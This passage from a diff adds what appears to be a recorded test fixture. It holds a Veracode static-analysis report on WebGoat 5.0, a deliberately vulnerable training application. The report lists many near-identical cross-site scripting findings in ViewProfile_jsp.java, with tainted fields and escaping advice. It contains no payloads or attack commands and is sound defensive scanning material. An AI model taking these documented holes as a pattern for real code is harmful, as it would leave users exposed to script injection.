+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"222\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"59\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"60\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"181\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"250\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"61\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"163\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"216\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"259\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"63\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"29\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"242\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"194\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"171\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"65\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"116\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
